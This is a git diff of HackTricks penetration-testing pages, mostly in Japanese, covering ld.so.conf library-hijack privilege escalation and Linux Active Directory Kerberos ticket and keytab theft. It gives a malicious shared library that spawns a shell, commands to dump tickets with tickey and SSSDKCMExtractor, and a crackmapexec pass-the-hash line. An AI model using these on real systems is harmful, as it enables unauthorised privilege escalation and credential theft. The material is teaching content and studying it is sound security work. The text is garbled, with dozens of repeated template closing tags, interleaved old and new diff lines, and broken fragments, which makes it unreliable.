* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}

View file

@ -1,22 +1,31 @@
# ld.so privesc exploit の例
# ld.so privesc exploit example
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい** 場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com) を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションをチェックする
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に**参加する**か、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を**フォローする**。
* **HackTricks** にあなたのハッキングのコツを PR として提出して、[**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリを共有する。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## 環境の準備
以下のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます
のセクションでは、環境を準備するために使用するファイルのコードを見つけることができます
{% tabs %}
{% tab title="sharedvuln.c" %}
@ -52,14 +61,14 @@ puts("Hi");
{% endtab %}
{% endtabs %}
1. 同じフォルダ内にこれらのファイルを**作成**してください
2. **ライブラリをコンパイル**します: `gcc -shared -o libcustom.so -fPIC libcustom.c`
1. **同じフォルダー**にそのファイルを作成します
2. **ライブラリ****コンパイル**します: `gcc -shared -o libcustom.so -fPIC libcustom.c`
3. `libcustom.so`を`/usr/lib`に**コピー**します: `sudo cp libcustom.so /usr/lib` (root権限)
4. **実行ファイルをコンパイル**します: `gcc sharedvuln.c -o sharedvuln -lcustom`
4. **実行可能ファイル****コンパイル**します: `gcc sharedvuln.c -o sharedvuln -lcustom`
### 環境をチェック
### 環境を確認する
_libcustom.so_が_/usr/lib_から**ロード**されていることと、バイナリを**実行**できることを確認してください
_libcustom.so__/usr/lib_ から**読み込まれている**ことと、バイナリを**実行**できることを確認します
```
$ ldd sharedvuln
linux-vdso.so.1 => (0x00007ffc9a1f7000)
@ -71,14 +80,14 @@ $ ./sharedvuln
Welcome to my amazing application!
Hi
```
## エクスプロイト
## Exploit
このシナリオでは、**誰かが_/etc/ld.so.conf/_ 内のファイルに脆弱なエントリを作成した**と仮定します。
このシナリオでは、**誰かが_/etc/ld.so.conf/_内に脆弱なエントリを作成したと仮定します**
```bash
sudo echo "/home/ubuntu/lib" > /etc/ld.so.conf.d/privesc.conf
```
脆弱なフォルダは _/home/ubuntu/lib_ です(書き込み可能なアクセス権があります)。\
**以下のコードをダウンロードしてコンパイル** してください。そのパス内で:
The vulnerable folder is _/home/ubuntu/lib_ (where we have writable access).\
**次のコードをそのパス内でダウンロードしてコンパイルします:**
```c
//gcc -shared -o libcustom.so -fPIC libcustom.c
@ -93,9 +102,9 @@ printf("I'm the bad library\n");
system("/bin/sh",NULL,NULL);
}
```
作成した悪意のある **libcustom ライブラリが誤設定されたパス内にある** ため、**再起動**を待つか、root ユーザーが **`ldconfig`** を実行するのを待つ必要があります(**sudo** としてこのバイナリを実行できる場合、**suid ビット**が設定されている場合は、自分で実行できます)。
今、**誤って設定された**パス内に悪意のあるlibcustomライブラリを**作成した**ので、**再起動**を待つか、rootユーザーが**`ldconfig`**を実行するのを待つ必要があります(_このバイナリを**sudo**として実行できる場合、または**suidビット**が設定されている場合は、自分で実行できます_)。
これが行われたら、`sharevuln` 実行ファイルが `libcustom.so` ライブラリをどこからロードしているかを**再確認**してください:
これが発生したら、**再確認**してください。`sharevuln`実行可能ファイルが`libcustom.so`ライブラリをどこから読み込んでいるかを確認します:
```c
$ldd sharedvuln
linux-vdso.so.1 => (0x00007ffeee766000)
@ -103,7 +112,7 @@ libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000)
/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000)
```
以下のように、**`/home/ubuntu/lib`からロードしています**。そして、ユーザーが実行すると、シェルが実行されます:
ご覧のとおり、**`/home/ubuntu/lib`から読み込んでいます**。もしユーザーがこれを実行すると、シェルが実行されます:
```c
$ ./sharedvuln
Welcome to my amazing application!
@ -112,26 +121,26 @@ $ whoami
ubuntu
```
{% hint style="info" %}
この例では権限昇格は行っていませんが、実行されるコマンドを変更し、**rootまたは他の特権ユーザーが脆弱なバイナリを実行するのを待つ**ことで、権限を昇格させることができます。
この例では特権を昇格させていないことに注意してくださいが、実行されるコマンドを変更し、**rootまたは他の特権ユーザーが脆弱なバイナリを実行するのを待つことで**特権を昇格させることができます。
{% endhint %}
### その他の誤設定 - 同じ脆弱性
前の例では、管理者が`/etc/ld.so.conf.d/`内の設定ファイルに**非特権フォルダを設定する**という誤設定を行いました。\
しかし、`/etc/ld.so.conf.d`内の**設定ファイル**に**書き込み権限**がある場合、`/etc/ld.so.conf.d`フォルダや`/etc/ld.so.conf`ファイルに同じ脆弱性を設定し、それを利用することができます。
前の例では、管理者が**`/etc/ld.so.conf.d/`内の設定ファイルに非特権フォルダーを設定した**という誤設定を偽装しました。\
しかし、同じ脆弱性を引き起こす他の誤設定もあります。もしあなたが`/etc/ld.so.conf.d`内のいくつかの**設定ファイル**、`/etc/ld.so.conf.d`フォルダー内、または`/etc/ld.so.conf`ファイル内に**書き込み権限**を持っている場合、同じ脆弱性を設定して悪用することができます。
## Exploit 2
## エクスプロイト 2
**`ldconfig`に対してsudo権限を持っているとします**\
`ldconfig`に**どこからconfファイルを読み込むか**を指示できるので、任意のフォルダを`ldconfig`に読み込ませることを利用できます。\
では、"/tmp"を読み込むために必要なファイルとフォルダを作成しましょう。
**`ldconfig`に対してsudo権限を持っていると仮定します**\
`ldconfig`に**設定ファイルをどこから読み込むかを指示することができます**。これを利用して`ldconfig`に任意のフォルダーを読み込ませることができます。\
それでは、"/tmp"を読み込むために必要なファイルとフォルダーを作成しましょう:
```bash
cd /tmp
echo "include /tmp/conf/*" > fake.ld.so.conf
echo "/tmp" > conf/evil.conf
```
前の**エクスプロイト**で示されたように、`/tmp`内に**悪意のあるライブラリを作成します**。\
そして最後に、パスをロードして、バイナリがどこからライブラリをロードしているかを確認しましょう:
今、**前のエクスプロイト**で示されたように、**`/tmp`内に悪意のあるライブラリを作成します**。\
最後に、パスをロードして、バイナリがライブラリをどこからロードしているかを確認しましょう:
```bash
ldconfig -f fake.ld.so.conf
@ -141,28 +150,36 @@ libcustom.so => /tmp/libcustom.so (0x00007fcb07756000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000)
/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000)
```
**`ldconfig`に対するsudo権限を持っている場合、同じ脆弱性を悪用できることがわかります。**
**ご覧のとおり、`ldconfig`に対するsudo権限を持っていると、同じ脆弱性を悪用できます。**
{% hint style="info" %}
**suidビット**が設定されている`ldconfig`を悪用する信頼性の高い方法は**見つかりませんでした**。次のエラーが表示されます:`/sbin/ldconfig.real: 一時キャッシュファイル /etc/ld.so.cache~ を作成できません: 許可が拒否されました`
{% endhint %}
## 参考文献
* [https://www.boiteaklou.fr/Abusing-Shared-Libraries.html](https://www.boiteaklou.fr/Abusing-Shared-Libraries.html)
* [https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2](https://blog.pentesteracademy.com/abusing-missing-library-for-privilege-escalation-3-minute-read-296dcf81bec2)
* HTBのDab machine
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)で<strong>AWSハッキングをゼロからヒーローになる方法を学ぶ</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォロー**してください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有してください**。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,28 +1,31 @@
# Linux Active Directory
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Active Directory環境内にはLinuxマシンも存在する可能性があります。
Linuxマシンは、Active Directory環境内に存在することもあります。
AD内のLinuxマシンでは、**異なるCCACHEチケットがファイル内に保存されている場合があります。これらのチケットは他のKerberosチケットと同様に使用および悪用できます**。これらのチケットを読むには、チケットの所有者であるユーザーまたは**マシン内のroot**である必要があります。
AD内のLinuxマシンは、**異なるCCACHEチケットをファイル内に保存している可能性があります。このチケットは、他のKerberosチケットと同様に使用および悪用できます**。これらのチケットを読み取るには、チケットのユーザー所有者であるか、**root**である必要があります。
## 列挙
### LinuxからのAD列挙
LinuxまたはWindowsのbashでADにアクセス権がある場合、ADを列挙するために[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試すことができます。
LinuxまたはWindowsのbashでADにアクセスできる場合、ADを列挙するために[https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn)を試すことができます。
**LinuxからADを列挙する他の方法**を学ぶには、次のページをチェックしてください:
LinuxからADを列挙する**他の方法**を学ぶには、次のページを確認してください:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -30,27 +33,27 @@ LinuxまたはWindowsのbashでADにアクセス権がある場合、ADを
### FreeIPA
FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソース**代替**です。完全な**LDAPディレクトリ**とActive Directoryに似た管理のためのMIT **Kerberos** Key Distribution Centerを組み合わせています。CARA証明書管理のためのDogtag **Certificate System**を利用し、スマートカードを含む**マルチファクタ**認証をサポートしています。Unix認証プロセスにSSSDが統合されています。詳細については、以下を参照してください:
FreeIPAは、主に**Unix**環境向けのMicrosoft Windows **Active Directory**のオープンソース**代替**です。Active Directoryに類似した管理のために、完全な**LDAPディレクトリ**とMIT **Kerberos**キー配布センターを組み合わせています。CAおよびRA証明書管理のためにDogtag **Certificate System**を利用し、スマートカードを含む**多要素**認証をサポートしています。Unix認証プロセスのためにSSSDが統合されています。詳細については、を参照してください:
{% content-ref url="../freeipa-pentesting.md" %}
[freeipa-pentesting.md](../freeipa-pentesting.md)
{% endcontent-ref %}
## チケット操作
## チケット操作
### パスザチケット
### パスチケット
このページでは、Linuxホスト内で**kerberosチケットを見つけることができるさまざまな場所**を見つけることができます。次のページでは、これらのCCacheチケット形式をWindowsで使用する必要があるKirbi形式に変換する方法や、PTT攻撃を実行する方法について学ぶことができます:
このページでは、**Linuxホスト内でKerberosチケットを見つけることができるさまざまな場所**を見つけることができます。次のページでは、これらのCCacheチケット形式をKirbiWindowsで使用する必要がある形式に変換する方法と、PTT攻撃を実行する方法を学ぶことができます:
{% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %}
[pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md)
{% endcontent-ref %}
### /tmpからのCCACHEチケット再利用
### /tmpからのCCACHEチケット再利用
CCACHEファイルは、通常、`/tmp`内で600の権限で保存される**Kerberos資格情報を格納するバイナリ形式**です。これらのファイルは、ユーザーのUIDに対応する**名前形式`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、環境変数`KRB5CCNAME`を希望のチケットファイルのパスに設定する必要があり、その再利用が可能になります。
CCACHEファイルは、**Kerberos資格情報**を保存するためのバイナリ形式で、通常は`/tmp`に600の権限で保存されます。これらのファイルは、ユーザーのUIDに関連する**名前形式`krb5cc_%{uid}`**で識別できます。認証チケットの検証には、**環境変数`KRB5CCNAME`**を希望するチケットファイルのパスに設定する必要があり、再利用を可能にします。
認証に使用されている現在のチケットをリストアップするには、`env | grep KRB5CCNAME`を使用します。形式はポータブルであり、環境変数を設定することでチケットを再利用できます。`export KRB5CCNAME=/tmp/ticket.ccache`として環境変数を設定することで、チケットを再利用できます。Kerberosチケットの名前形式は`krb5cc_%{uid}`であり、uidはユーザーのUIDです。
`env | grep KRB5CCNAME`を使用して、認証に使用されている現在のチケットをリストします。形式はポータブルで、環境変数を設定することでチケットを**再利用できます**。`export KRB5CCNAME=/tmp/ticket.ccache`を使用します。Kerberosチケットの名前形式は`krb5cc_%{uid}`で、uidはユーザーのUIDです。
```bash
# Find tickets
ls /tmp/ | grep krb5cc
@ -59,31 +62,31 @@ krb5cc_1000
# Prepare to use it
export KRB5CCNAME=/tmp/krb5cc_1000
```
### キーリングからのCCACHEチケット再利用
### CCACHE チケット再利用とキーチェーン
**プロセスのメモリに保存されたKerberosチケットは抽出可能**であり、特にマシンのptrace保護が無効になっている場合(`/proc/sys/kernel/yama/ptrace_scope`)。この目的のための便利なツールは[https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)で見つけることができ、セッションにインジェクトして`/tmp`にチケットをダンプすることで抽出を容易にします。
**プロセスのメモリに保存された Kerberos チケットは抽出可能です**。特に、マシンの ptrace 保護が無効になっている場合(`/proc/sys/kernel/yama/ptrace_scope`)。この目的に役立つツールは [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) にあり、セッションに注入してチケットを `/tmp`ダンプすることで抽出を容易にします。
このツールを構成して使用するためには、以下の手順に従います:
このツールを設定して使用するには、以下の手順に従います:
```bash
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
/tmp/tickey -i
```
この手順では、さまざまなセッションにインジェクトを試み、抽出されたチケットを `/tmp``__krb_UID.ccache` の命名規則で保存して成功を示します。
この手順は、さまざまなセッションに注入を試み、抽出されたチケットを`/tmp`に`__krb_UID.ccache`という命名規則で保存することで成功を示します。
### SSSD KCM からの CCACHE チケット再利用
### SSSD KCMからのCCACHEチケット再利用
SSSD は、パス `/var/lib/sss/secrets/secrets.ldb` にデータベースのコピーを維持します。対応するキーは、パス `/var/lib/sss/secrets/.secrets.mkey` に隠しファイルとして保存されます。デフォルトでは、このキーは **root** 権限を持っている場合にのみ読み取り可能です。
SSSDは、`/var/lib/sss/secrets/secrets.ldb`のパスにデータベースのコピーを保持しています。対応するキーは、`/var/lib/sss/secrets/.secrets.mkey`のパスに隠しファイルとして保存されています。デフォルトでは、キーは**root**権限を持っている場合にのみ読み取ることができます。
\*\*`SSSDKCMExtractor` \*\* を --database と --key パラメータと共に呼び出すと、データベースを解析し、秘密情報 **復号** します。
\*\*`SSSDKCMExtractor` \*\*を--databaseおよび--keyパラメータで呼び出すと、データベースを解析し、**秘密を復号**します。
```bash
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
```
**資格情報キャッシュKerberos blobは、Mimikatz/Rubeusに渡すことができる使用可能なKerberos CCacheファイルに変換できます。**
**資格情報キャッシュKerberosブロブは、Mimikatz/Rubeusに渡すことができる使用可能なKerberos CCache**ファイルに変換できます。
### キータブからのCCACHEチケット再利用
### keytabからのCCACHEチケット再利用
```bash
git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
@ -91,23 +94,23 @@ klist -k /etc/krb5.keytab
```
### /etc/krb5.keytab からアカウントを抽出する
ルート権限で動作するサービスに必要なサービスアカウントキーは、**`/etc/krb5.keytab`** ファイルに安全に保存されています。これらのキーは、サービス用のパスワードに類似し、厳格な機密性が求められます。
サービスアカウントキーは、ルート権限で動作するサービスにとって不可欠であり、**`/etc/krb5.keytab`** ファイルに安全に保存されています。これらのキーは、サービスのパスワードに似ており、厳格な機密性が求められます。
キータブファイルの内容を調査するには、**`klist`** を使用できます。このツールは、**NT ハッシュ**を含むキーの詳細を表示するよう設計されており、特にキータイプが23と識別された場合には、ユーザー認証に使用されます。
keytabファイルの内容を確認するには、**`klist`** を使用できます。このツールは、特にキータイプが23として識別される場合に、ユーザー認証のための**NT Hash**を含むキーの詳細を表示するように設計されています。
```bash
klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab
# Output includes service principal details and the NT Hash
```
Linuxユーザーにとって、**`KeyTabExtract`**はRC4 HMACハッシュを抽出する機能を提供し、NTLMハッシュの再利用に活用できます。
Linuxユーザーにとって、**`KeyTabExtract`** はRC4 HMACハッシュを抽出する機能を提供し、これをNTLMハッシュの再利用に活用できます。
```bash
python3 keytabextract.py krb5.keytab
# Expected output varies based on hash availability
```
macOSでは、**`bifrost`** はkeytabファイルの解析ツールとして機能します。
macOSでは、**`bifrost`**はkeytabファイル分析のためのツールとして機能します。
```bash
./bifrost -action dump -source keytab -path /path/to/your/file
```
抽出されたアカウントとハッシュ情報を利用して、**`crackmapexec`**などのツールを使用してサーバーへの接続を確立できます。
抽出したアカウントとハッシュ情報を利用して、**`crackmapexec`** のようなツールを使用してサーバーへの接続を確立できます。
```bash
crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN"
```
@ -116,14 +119,17 @@ crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDO
* [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory)
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

File diff suppressed because it is too large Load diff

View file

@ -1,25 +1,30 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 で私をフォローする [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **ハッキングトリックを共有するために PR を提出して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## Logstash
Logstash は **ログを収集、変換、送信** するために使用されます。これは **パイプライン** として知られるシステムを介して行われます。これらのパイプラインは **input**、**filter**、**output** の段階で構成されます。Logstash が侵害されたマシンで動作する場合、興味深い側面が生じます。
Logstashは**ログを収集、変換、配信する**ために使用されます。このシステムは**パイプライン**として知られています。これらのパイプラインは**入力**、**フィルター**、および**出力**のステージで構成されています。Logstashが侵害されたマシンで動作する際に興味深い側面が現れます。
### パイプラインの構成
### パイプライン設定
パイプラインは **/etc/logstash/pipelines.yml** ファイルで構成され、パイプライン構成の場所がリストされています。
パイプラインは**/etc/logstash/pipelines.yml**ファイルで設定されており、パイプライン設定の場所がリストされています:
```yaml
# Define your pipelines here. Multiple pipelines can be defined.
# For details on multiple pipelines, refer to the documentation:
@ -31,21 +36,21 @@ path.config: "/etc/logstash/conf.d/*.conf"
path.config: "/usr/share/logstash/pipeline/1*.conf"
pipeline.workers: 6
```
